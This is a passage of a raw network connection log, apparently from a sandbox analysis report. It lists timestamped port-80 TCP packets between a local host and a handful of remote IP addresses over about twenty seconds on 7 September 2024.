Sep 7, 2024 15:35:47.774794102 CEST	80	61459	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:47.774867058 CEST	61459	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:47.774884939 CEST	61462	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:47.775046110 CEST	61462	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:47.780663967 CEST	80	61462	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:48.261411905 CEST	80	61462	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:48.261477947 CEST	61462	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:48.863568068 CEST	61463	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:48.869247913 CEST	80	61463	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:48.869318008 CEST	61463	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:48.869385004 CEST	61463	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:48.873627901 CEST	61464	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:48.875179052 CEST	80	61463	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:48.875258923 CEST	61463	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:48.885051012 CEST	80	61464	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:48.885126114 CEST	61464	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:48.885226965 CEST	61464	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:48.892340899 CEST	80	61464	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:49.385032892 CEST	80	61464	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:49.385154963 CEST	61464	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:49.385376930 CEST	80	61464	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:49.385418892 CEST	61462	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:49.385421038 CEST	61464	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:49.385715008 CEST	61465	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:49.390645981 CEST	80	61462	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:49.390703917 CEST	61462	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:49.390847921 CEST	80	61465	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:49.390916109 CEST	61465	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:49.391170979 CEST	61465	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:49.396089077 CEST	80	61465	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:49.878395081 CEST	80	61465	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:49.878448963 CEST	61465	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:50.737277985 CEST	61466	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:50.742494106 CEST	80	61466	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:50.742587090 CEST	61466	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:50.757324934 CEST	61466	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:50.761591911 CEST	61467	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:50.762399912 CEST	80	61466	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:50.762459993 CEST	61466	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:50.766690969 CEST	80	61467	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:50.766812086 CEST	61467	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:50.773087978 CEST	61467	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:50.778518915 CEST	80	61467	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:51.259891987 CEST	80	61467	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:51.259991884 CEST	80	61467	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:51.260039091 CEST	61467	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:51.260071039 CEST	61467	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:51.261735916 CEST	61465	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:51.262017965 CEST	61468	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:51.266741991 CEST	80	61465	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:51.266793013 CEST	80	61468	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:51.266820908 CEST	61465	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:51.266872883 CEST	61468	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:51.268795967 CEST	61468	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:51.273662090 CEST	80	61468	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:51.754921913 CEST	80	61468	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:51.754982948 CEST	61468	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:51.883567095 CEST	61469	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:51.889456034 CEST	80	61469	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:51.889522076 CEST	61469	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:51.897938013 CEST	61469	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:51.901772976 CEST	61470	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:51.903932095 CEST	80	61469	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:51.903989077 CEST	61469	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:51.907222986 CEST	80	61470	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:51.907318115 CEST	61470	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:51.913532972 CEST	61470	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:51.918329954 CEST	80	61470	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:52.393479109 CEST	80	61470	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:52.393532991 CEST	80	61470	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:52.393626928 CEST	61470	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:52.393668890 CEST	61470	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:52.426728964 CEST	61468	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:52.427241087 CEST	61471	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:52.431807995 CEST	80	61468	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:52.431859970 CEST	61468	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:52.432092905 CEST	80	61471	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:52.432168007 CEST	61471	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:52.432877064 CEST	61471	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:52.437659979 CEST	80	61471	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:52.920299053 CEST	80	61471	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:52.920887947 CEST	61471	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:53.504409075 CEST	61472	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:53.509433985 CEST	80	61472	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:53.509531975 CEST	61472	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:53.509644032 CEST	61472	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:53.514133930 CEST	61473	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:53.514695883 CEST	80	61472	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:53.514767885 CEST	61472	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:53.518944979 CEST	80	61473	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:53.519026041 CEST	61473	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:53.522895098 CEST	61473	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:53.527725935 CEST	80	61473	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:54.019897938 CEST	80	61473	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:54.019927979 CEST	80	61473	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:54.020023108 CEST	61473	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:54.020091057 CEST	61473	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:54.020320892 CEST	61471	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:54.020607948 CEST	61474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:54.025466919 CEST	80	61471	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:54.025485039 CEST	80	61474	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:54.025576115 CEST	61471	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:54.025599003 CEST	61474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:54.025782108 CEST	61474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:54.030507088 CEST	80	61474	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:54.517698050 CEST	80	61474	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:54.517786026 CEST	61474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:54.687089920 CEST	61475	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:54.691932917 CEST	80	61475	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:54.694107056 CEST	61475	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:54.694231987 CEST	61475	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:54.699230909 CEST	80	61475	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:54.702104092 CEST	61475	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:54.704488039 CEST	61476	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:54.709675074 CEST	80	61476	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:54.710112095 CEST	61476	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:54.710196972 CEST	61476	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:54.715053082 CEST	80	61476	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:55.222570896 CEST	80	61476	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:55.222596884 CEST	80	61476	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:55.222664118 CEST	61476	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:55.222740889 CEST	61476	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:55.223015070 CEST	61474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:55.223392963 CEST	61477	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:55.227997065 CEST	80	61474	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:55.228075027 CEST	61474	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:55.228159904 CEST	80	61477	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:55.228230000 CEST	61477	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:55.228358030 CEST	61477	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:55.233184099 CEST	80	61477	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:55.708266020 CEST	80	61477	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:55.708385944 CEST	61477	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:55.859754086 CEST	61478	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:55.864697933 CEST	80	61478	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:55.864836931 CEST	61478	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:55.864836931 CEST	61478	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:55.869739056 CEST	80	61478	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:55.870179892 CEST	80	61478	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:55.870228052 CEST	61478	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:55.882096052 CEST	61479	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:55.887049913 CEST	80	61479	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:55.887123108 CEST	61479	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:55.887200117 CEST	61479	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:55.891947031 CEST	80	61479	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:56.374618053 CEST	80	61479	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:56.374655962 CEST	80	61479	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:56.374718904 CEST	61479	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:56.374875069 CEST	61479	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:56.378284931 CEST	61477	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:56.378504992 CEST	61480	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:56.393362045 CEST	80	61480	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:56.393578053 CEST	80	61477	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:56.393738031 CEST	61477	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:56.394052029 CEST	61480	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:56.396970987 CEST	61480	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:56.401750088 CEST	80	61480	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:56.875593901 CEST	80	61480	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:56.877125025 CEST	61480	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:59.314733028 CEST	61481	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:59.319710970 CEST	80	61481	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:59.319798946 CEST	61481	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:59.319865942 CEST	61481	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:59.323781013 CEST	61482	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:59.325206041 CEST	80	61481	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:59.325277090 CEST	61481	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:59.328696012 CEST	80	61482	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:59.328798056 CEST	61482	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:59.335441113 CEST	61482	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:59.340351105 CEST	80	61482	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:59.830460072 CEST	80	61482	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:59.830506086 CEST	80	61482	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:59.830634117 CEST	61482	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:59.830634117 CEST	61482	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:59.851413012 CEST	61480	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:59.851715088 CEST	61483	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:59.856547117 CEST	80	61483	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:59.856647015 CEST	61483	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:59.856713057 CEST	80	61480	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:59.856770992 CEST	61480	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:59.859873056 CEST	61483	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:59.864737034 CEST	80	61483	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:00.341392994 CEST	80	61483	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:00.341615915 CEST	61483	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:00.607278109 CEST	61484	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:00.612112999 CEST	80	61484	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:00.612175941 CEST	61484	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:00.612322092 CEST	61484	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:00.617374897 CEST	80	61484	45.79.222.138	192.168.2.3
Sep 7, 2024 15:36:00.617459059 CEST	61484	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:36:00.617714882 CEST	61485	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:00.622538090 CEST	80	61485	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:00.624140978 CEST	61485	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:00.624237061 CEST	61485	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:00.629106045 CEST	80	61485	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:01.138006926 CEST	80	61485	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:01.138037920 CEST	80	61485	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:01.138150930 CEST	61485	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:01.138211012 CEST	61485	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:01.157217026 CEST	61483	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:01.157499075 CEST	61486	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:01.163115978 CEST	80	61483	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:01.163203955 CEST	61483	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:01.163312912 CEST	80	61486	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:01.163378954 CEST	61486	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:01.163614035 CEST	61486	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:01.168818951 CEST	80	61486	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:01.656521082 CEST	80	61486	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:01.656641960 CEST	61486	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:01.767899036 CEST	61487	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:01.772661924 CEST	80	61487	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:01.772746086 CEST	61487	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:01.772926092 CEST	61487	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:01.777106047 CEST	61488	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:01.777719975 CEST	80	61487	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:01.777771950 CEST	80	61487	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:01.777826071 CEST	61487	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:01.781933069 CEST	80	61488	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:01.782031059 CEST	61488	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:01.788566113 CEST	61488	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:01.793361902 CEST	80	61488	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:02.269860983 CEST	80	61488	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:02.270013094 CEST	61488	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:02.270090103 CEST	80	61488	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:02.270272970 CEST	61488	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:02.274432898 CEST	61486	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:02.274730921 CEST	61489	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:02.279735088 CEST	80	61486	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:02.280059099 CEST	80	61489	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:02.280141115 CEST	61486	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:02.280177116 CEST	61489	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:02.282063007 CEST	61489	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:02.286871910 CEST	80	61489	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:02.760550022 CEST	80	61489	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:02.760612011 CEST	61489	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:03.569036007 CEST	61490	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:03.573906898 CEST	80	61490	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:03.573978901 CEST	61490	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:03.574085951 CEST	61490	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:03.579221010 CEST	80	61490	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:03.579647064 CEST	61490	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:03.587693930 CEST	61491	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:03.592493057 CEST	80	61491	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:03.592600107 CEST	61491	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:03.601428986 CEST	61491	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:03.606229067 CEST	80	61491	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:04.084835052 CEST	80	61491	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:04.084891081 CEST	80	61491	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:04.085030079 CEST	61491	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:04.085095882 CEST	61491	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:04.085311890 CEST	61489	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:04.086101055 CEST	61492	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:04.090358973 CEST	80	61489	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:04.090406895 CEST	61489	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:04.090873957 CEST	80	61492	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:04.090936899 CEST	61492	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:04.091142893 CEST	61492	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:04.095875978 CEST	80	61492	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:04.580857992 CEST	80	61492	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:04.580916882 CEST	61492	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:05.486613989 CEST	61493	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:05.492537975 CEST	80	61493	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:05.494112015 CEST	61493	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:05.494177103 CEST	61493	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:05.498310089 CEST	61494	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:05.500353098 CEST	80	61493	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:05.502083063 CEST	61493	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:05.503078938 CEST	80	61494	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:05.506102085 CEST	61494	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:05.507308960 CEST	61494	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:05.512052059 CEST	80	61494	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:06.015573025 CEST	80	61494	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:06.015644073 CEST	80	61494	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:06.015691042 CEST	61494	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:06.015760899 CEST	61494	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:06.017879009 CEST	61492	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:06.018165112 CEST	61495	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:06.022960901 CEST	80	61495	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:06.023030996 CEST	61495	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:06.023037910 CEST	80	61492	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:06.023081064 CEST	61492	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:06.032988071 CEST	61495	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:06.037839890 CEST	80	61495	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:06.523819923 CEST	80	61495	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:06.523900986 CEST	61495	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:06.643287897 CEST	61496	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:06.648175955 CEST	80	61496	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:06.648241043 CEST	61496	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:06.663562059 CEST	61496	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:06.668361902 CEST	80	61496	88.198.29.97	192.168.2.3
Sep 7, 2024 15:36:06.668412924 CEST	61496	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:36:06.690243959 CEST	61497	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:06.695167065 CEST	80	61497	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:06.695260048 CEST	61497	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:06.695609093 CEST	61497	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:06.700408936 CEST	80	61497	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:07.185998917 CEST	80	61497	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:07.186121941 CEST	80	61497	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:07.186161041 CEST	61497	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:07.186198950 CEST	61497	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:07.188621998 CEST	61495	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:07.189059019 CEST	61498	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:07.194336891 CEST	80	61495	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:07.194400072 CEST	61495	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:07.194766045 CEST	80	61498	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:07.194869041 CEST	61498	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:07.202653885 CEST	61498	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:07.208121061 CEST	80	61498	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:07.698057890 CEST	80	61498	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:07.698144913 CEST	61498	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:07.829747915 CEST	61499	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:07.835454941 CEST	80	61499	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:07.835530996 CEST	61499	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:07.836165905 CEST	61499	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:07.842207909 CEST	80	61499	64.70.19.203	192.168.2.3
Sep 7, 2024 15:36:07.842279911 CEST	61499	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:36:07.890662909 CEST	61500	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:07.895688057 CEST	80	61500	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:07.895787001 CEST	61500	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:07.895905972 CEST	61500	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:07.901787043 CEST	80	61500	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:08.384515047 CEST	80	61500	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:08.384727001 CEST	80	61500	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:08.384886026 CEST	61500	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:08.384951115 CEST	61500	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:08.385191917 CEST	61498	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:08.385603905 CEST	61501	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:08.390084028 CEST	80	61498	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:08.390444994 CEST	80	61501	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:08.390537024 CEST	61501	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:08.390729904 CEST	61501	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:08.390974998 CEST	61498	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:36:08.395523071 CEST	80	61501	172.234.222.138	192.168.2.3
Sep 7, 2024 15:36:08.904094934 CEST	80	61501	172.234.222.138	192.168.2.3
